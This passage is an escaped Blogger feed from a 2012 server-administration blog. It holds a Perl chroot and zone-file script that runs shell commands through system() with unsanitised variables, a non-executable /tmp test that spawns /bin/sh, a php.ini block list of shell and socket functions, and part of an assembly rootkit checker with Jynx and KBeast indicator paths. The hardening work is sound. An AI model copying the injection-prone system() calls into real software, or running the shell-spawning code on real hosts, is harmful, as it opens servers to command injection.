".$file_tgz." /home/".$nama_user.";cd /home/".$nama_user.";tar zxvf ".$file_tgz."";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; system($perintah_kopi_tgz);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$perintah_kopi_ke_chroot="cd ".$direktori_chroot."home/;mkdir ".$nama_user;&lt;br /&gt;$perintah_kopi_ke_chroot.=";cp ".$direktori_file_tgz."/".$file_tgz." ".$direktori_chroot."home/".$nama_user;&lt;br /&gt;$perintah_kopi_ke_chroot.=";cd ".$direktori_chroot."home/$nama_user;tar zxvf ".$file_tgz;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; system($perintah_kopi_ke_chroot);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; }&lt;br /&gt;close(PROSES_MYSQL);&lt;br /&gt;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;sub replace_all_var_chroot_named&lt;br /&gt;{&lt;br /&gt;open(PROSES_MYSQL, "cd /var/named/chroot/var/named/;ls *.db |");&lt;br /&gt;while (&amp;lt;PROSES_MYSQL&amp;gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $file_named =&amp;nbsp; $_;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $file_named=~ s/^\s+//; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $file_named=~ s/\s+$//;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $perintah_rep_ip="perl -p -i -e 's/$old_ip/$new_ip/' /var/named/chroot/var/named/".$file_named;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; system($perintah_rep_ip);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; print "\n";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $perintah_rep_ip2="perl -p -i -e 's/$old_ip2/$new_ip/' /var/named/chroot/var/named/".$file_named;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; system($perintah_rep_ip2);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; print "\n";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $perintah_rep_ns1="perl -p -i -e 's/$old_ns1/$new_ns1/' /var/named/chroot/var/named/".$file_named;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; system($perintah_rep_ns1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; print "\n";&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $perintah_rep_ns2="perl -p -i -e 's/$old_ns2/$new_ns2/' /var/named/chroot/var/named/".$file_named;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; system($perintah_rep_ns2);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; print "\n";&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $perintah_rep_ns1b="perl -p -i -e 's/$old_ns1b/$new_ns1/' /var/named/chroot/var/named/".$file_named;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; system($perintah_rep_ns1b);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; print "\n";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $perintah_rep_ns2b="perl -p -i -e 's/$old_ns2b/$new_ns2/' /var/named/chroot/var/named/".$file_named;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; system($perintah_rep_ns2b);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; print "\n";&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $perintah_soa_ktk="perl -p -i -e 's/$old_soa_ktk/$new_soa_ktk/' /var/named/chroot/var/named/".$file_named;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; system($perintah_soa_ktk);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; print "\n";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;close(PROSES_MYSQL);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub str_replace {&lt;br /&gt;eval&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;my $replace_this = shift;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $with_this&amp;nbsp; = shift;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $string&amp;nbsp;&amp;nbsp; = shift;&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $length = length($string);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $target = length($replace_this);&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(my $i=0; $i&amp;lt;$length - $target + 1; $i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(substr($string,$i,$target) eq $replace_this) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $string = substr($string,0,$i) . $with_this . substr($string,$i+$target);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return $string; #Comment this if you what a global replace&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return $string;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;replace_all_var_chroot_named();&lt;br /&gt;&amp;nbsp;readall_tgz_and_add_user();&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-480064973158097620?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/480064973158097620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/480064973158097620'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/zedipl-lord-videl.html' title='zedi.pl the lord videl'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-6966150784250096717</id><published>2012-03-06T20:38:00.000-08:00</published><updated>2012-03-06T20:38:08.498-08:00</updated><title type='text'>reducing the tcp time wait &amp; recycling trick</title><content type='html'>recycle trick:&lt;br /&gt;&lt;br /&gt;============&lt;br /&gt;[root@ns1 ~]# /sbin/sysctl -w net.ipv4.tcp_tw_recycle=1&lt;br /&gt;net.ipv4.tcp_tw_recycle = 1&lt;br /&gt;[root@ns1 ~]# /sbin/sysctl -w net.ipv4.tcp_tw_reuse=1&lt;br /&gt;==============&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;reducing fin wait &lt;br /&gt;&lt;br /&gt;===================&lt;br /&gt;[root@ns1 ~]# echo "5" &amp;gt; /proc/sys/net/ipv4/tcp_fin_timeout&lt;br /&gt;=======================&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-6966150784250096717?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6966150784250096717'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6966150784250096717'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/reducing-tcp-time-wait-recycling-trick.html' title='reducing the tcp time wait &amp; recycling trick'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-6867360946022683838</id><published>2012-03-06T19:17:00.000-08:00</published><updated>2012-03-06T19:17:56.916-08:00</updated><title type='text'>Securing a Server from the Basic : Non Executable /tmp</title><content type='html'>by: ev1lut10n&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-ZNq3kVLnTqg/T1bIPcA_NVI/AAAAAAAAA8E/8ZZf6wZGuws/s1600/botnet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-ZNq3kVLnTqg/T1bIPcA_NVI/AAAAAAAAA8E/8ZZf6wZGuws/s1600/botnet.jpg" width="720" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;====================&lt;br /&gt;[root@ns1 tmp]# pwd&lt;br /&gt;/tmp&lt;br /&gt;[root@ns1 tmp]# cat system.c&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;execve("/bin/sh",0,0);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;[root@ns1 tmp]# gcc -o system system.c&lt;br /&gt;[root@ns1 tmp]# ./system&lt;br /&gt;bash: ./system: Permission denied&lt;br /&gt;[root@ns1 tmp]# cp system /root&lt;br /&gt;[root@ns1 tmp]# cd /root&lt;br /&gt;[root@ns1 ~]# ./system&lt;br /&gt;[root@ns1 root]# exit&lt;br /&gt;exit&lt;br /&gt;=======================&lt;br /&gt;&lt;br /&gt;from the above figure we may see that the /tmp on server is non executable.&lt;br /&gt;&lt;br /&gt;check it out:&lt;br /&gt;&lt;br /&gt;=============&lt;br /&gt;&lt;br /&gt;[root@ns1 tmp]# strace ./system&lt;br /&gt;execve("./system", ["./system"], [/* 22 vars */]) = -1 EACCES (Permission denied)&lt;br /&gt;dup(2)                                  = 3&lt;br /&gt;fcntl(3, F_GETFL)                       = 0x8002 (flags O_RDWR|O_LARGEFILE)&lt;br /&gt;fstat(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 5), ...}) = 0&lt;br /&gt;mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2b574f71b000&lt;br /&gt;lseek(3, 0, SEEK_CUR)                   = -1 ESPIPE (Illegal seek)&lt;br /&gt;write(3, "strace: exec: Permission denied\n", 32strace: exec: Permission denied&lt;br /&gt;) = 32&lt;br /&gt;close(3)                                = 0&lt;br /&gt;munmap(0x2b574f71b000, 4096)            = 0&lt;br /&gt;exit_group(1)                           = ?&lt;br /&gt;[root@ns1 tmp]# &lt;br /&gt;==============&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;from the above strace output we may notice the first line we calle execve("./system")&lt;br /&gt;where and the result we got  -1 EACCES (Permission denied)&lt;/stdio.h&gt;&lt;br /&gt;&lt;stdio.h&gt;&lt;br /&gt;&lt;/stdio.h&gt;&lt;br /&gt;&lt;br /&gt;&lt;stdio.h&gt;&lt;br /&gt;&lt;/stdio.h&gt;&lt;br /&gt;&lt;stdio.h&gt;&lt;br /&gt;&lt;/stdio.h&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-6867360946022683838?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6867360946022683838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6867360946022683838'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/securing-server-from-basic-non.html' title='Securing a Server from the Basic : Non Executable /tmp'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-ZNq3kVLnTqg/T1bIPcA_NVI/AAAAAAAAA8E/8ZZf6wZGuws/s72-c/botnet.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-6992949101781307451</id><published>2012-03-06T11:16:00.002-08:00</published><updated>2012-03-06T11:40:05.936-08:00</updated><title type='text'>Basic php.ini Security Setting</title><content type='html'>&amp;nbsp;disable_functions:&lt;br /&gt;==================&lt;br /&gt;[root@ns1 lib]# cat php.ini | grep disable_function&lt;br /&gt;disable_functions = show_source, system, passthru, exec, popen, proc_open, allow_url_fopen, popen, symlink,curl_exec, curl_multi_exec, parse_ini_file, sleep, base64_decode,fsockopen,getopt,ibase_gen_id,glob,unserialize,pcntl_fork,socket_create,socket_connect,_zip_name_locate,grapheme_extract,bcpow,pdf_open_file,ntuser_getuserlist,posix_getpwuid,php_uname&lt;br /&gt;&lt;br /&gt;==================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;===================&lt;br /&gt;[root@ns1 lib]# cat php.ini | grep safe_mode &lt;br /&gt;safe_mode = On&lt;br /&gt;; then turn on safe_mode_gid.&lt;br /&gt;safe_mode_gid = Off&lt;br /&gt;===================&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-6992949101781307451?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6992949101781307451'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6992949101781307451'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/basic-phpini-security-setting.html' title='Basic php.ini Security Setting'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-338628950173999722</id><published>2012-03-06T07:18:00.002-08:00</published><updated>2012-03-06T07:21:26.260-08:00</updated><title type='text'>herosvh.asm TCP/IP Stack Hardening and Basic Rootkit Checker | dedicated for my friend</title><content type='html'>source code:&lt;br /&gt;&lt;a href="http://pastebin.com/5ycUughs"&gt;http://pastebin.com/5ycUughs&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-4I7t4lmxG58/T1YqiyYGNvI/AAAAAAAAA78/Ozme3_wYPdw/s1600/botnet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-4I7t4lmxG58/T1YqiyYGNvI/AAAAAAAAA78/Ozme3_wYPdw/s1600/botnet.jpg" width="620" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;herosvh.asm:&lt;br /&gt;========================================&lt;br /&gt;;herosvh.asm - herosvh TCP/IP Stack Hardening and Basic Rootkit Checker ;version 1.0&lt;br /&gt;;The programmer : ev1lut10n &lt;br /&gt;;gopher://sdf.org/0/users/wisdomc0/code_asm/herosvh.asm&lt;br /&gt;;dedicated to Mr Hero svh Rootkit&lt;br /&gt;;thanks to : Hero SVH Rootkit,X-hack,Danzel,Superman,Cakill, nofia fitri,Dedy, Chaer, Paulus gandung,Tian,Zendy,Hendra, Wenkhairu and all my bro and ;friends&lt;br /&gt;;current big project : "Making a linux botnet and windows botnet that can work synergy (my own idea)"&lt;br /&gt;;website : http://www.jasaplus.com&lt;br /&gt;;gopher://sdf.org/1/users/wisdomc0&lt;br /&gt;;nasm -f elf herosvh.asm&lt;br /&gt;;ld -o herosvh herosvh.o&lt;br /&gt;&lt;br /&gt;section .bss&lt;br /&gt;&lt;br /&gt;pilih_on_heap resb 6&lt;br /&gt;&lt;br /&gt;file: resd 1 &lt;br /&gt;&lt;br /&gt;section .data&lt;br /&gt;&lt;br /&gt;t00lname db ".::Herosvh TCP/IP Stack Hardening and Basic Rootkit Checker::.",13,10&lt;br /&gt;&lt;br /&gt;pjg_t00lname equ $-t00lname&lt;br /&gt;&lt;br /&gt;c0d3r db "c0der : ev1lut10n",13,10&lt;br /&gt;&lt;br /&gt;pjg_c0d3r equ $-c0d3r&lt;br /&gt;&lt;br /&gt;g0tr00t db "we got root access",13,10&lt;br /&gt;&lt;br /&gt;pjg_g0tr00t equ $-g0tr00t&lt;br /&gt;&lt;br /&gt;n0tr00t db "we dont have root priv,sorry y0u can not use this t00l baby",13,10&lt;br /&gt;&lt;br /&gt;pjg_n0tr00t equ $-n0tr00t&lt;br /&gt;&lt;br /&gt;;define jynx rootkit checker&lt;br /&gt;&lt;br /&gt;jynx_ld_preload_poison_string db "ld_poison.so",0x00&lt;br /&gt;&lt;br /&gt;jynx_ld_preload_so_path db "/etc/ld.so.preload",0x00&lt;br /&gt;&lt;br /&gt;;define haxpath checker for kbeast lkm&lt;br /&gt;&lt;br /&gt;_H4X_PATH_ db "/usr/_h4x_",0x00&lt;br /&gt;&lt;br /&gt;;software menu&lt;br /&gt;&lt;br /&gt;m3nu1 db "sys1 - Enable source validation by reversed path (checkin the source addr at ip datagram)",13,10&lt;br /&gt;&lt;br /&gt;pjg_m3nu1 equ $-m3nu1&lt;br /&gt;&lt;br /&gt;m3nu2 db "sys2 - Enable TCP Syn Cookies (protection against syn attack)",13,10&lt;br /&gt;&lt;br /&gt;pjg_m3nu2 equ $-m3nu2&lt;br /&gt;&lt;br /&gt;m3nu3 db "sys3 - Ignore ICMP Echo Broadcast Requests - (no smurf amplification)!!!",13,10&lt;br /&gt;&lt;br /&gt;pjg_m3nu3 equ $-m3nu3&lt;br /&gt;&lt;br /&gt;b0nus db "Some bonuses functions :"&lt;br /&gt;&lt;br /&gt;pjg_b0nus equ $-b0nus&lt;br /&gt;&lt;br /&gt;m3nu5 db "rkc1 - Checking Possible Jynx LD_Preload Rootkit",13,10&lt;br /&gt;&lt;br /&gt;pjg_m3nu5 equ $-m3nu5&lt;br /&gt;&lt;br /&gt;m3nu6 db "rkc2 - Checking Possible Kernel Beast Ver #1.0 LKM Rootkit -&amp;gt; _H4X_PATH_ /usr/_h4x_",13,10&lt;br /&gt;&lt;br /&gt;pjg_m3nu6 equ $-m3nu6&lt;br /&gt;&lt;br /&gt;m3nu7 db "quit - quit this t00l",13,10&lt;br /&gt;&lt;br /&gt;pjg_m3nu7 equ $-m3nu7&lt;br /&gt;&lt;br /&gt;;eof software menu&lt;br /&gt;&lt;br /&gt;c0ns0l3 db "cmd:"&lt;br /&gt;&lt;br /&gt;pjg_c0ns0l3 equ $-c0ns0l3&lt;br /&gt;&lt;br /&gt;pilih&amp;nbsp; db "%s", 0&lt;br /&gt;&lt;br /&gt;teks_continue db "/etc/ld.so.preload found beware ! Sorry i'm lazy it's your job to check for ld_poison.so at /etc/ld.so.preload",13,10&lt;br /&gt;&lt;br /&gt;pjg_teks_continue equ $-teks_continue&lt;br /&gt;&lt;br /&gt;teks_dont_continue db "No /etc/ld.so.preload found ! Seems like your system is clean from jynx rootkit",13,10&lt;br /&gt;&lt;br /&gt;pjg_teks_dont_continue equ $-teks_dont_continue&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;teks_continuex db "/usr/_h4x_ found !&amp;nbsp; Please wait !!! You're being infected with Kernel Beast Ver #1.0, why u install kernel headers ???",13,10&lt;br /&gt;&lt;br /&gt;pjg_teks_continuex equ $-teks_continuex&lt;br /&gt;&lt;br /&gt;teks_dont_continuex db "No /usr/_h4x_ found ! Seems like your system is clean from Kernel Beast Ver #1.0",13,10&lt;br /&gt;&lt;br /&gt;pjg_teks_dont_continuex equ $-teks_dont_continuex&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;section .text&lt;br /&gt;&lt;br /&gt;global _start&lt;br /&gt;&lt;br /&gt;_start:&lt;br /&gt;&lt;br /&gt;;jmp _herosvh_sysc&lt;br /&gt;&lt;br /&gt;jmp long _herosvh_start&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;starting jynx rootkit checking routine&lt;br /&gt;&lt;br /&gt;_herosvh_jynx:&lt;br /&gt;&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br 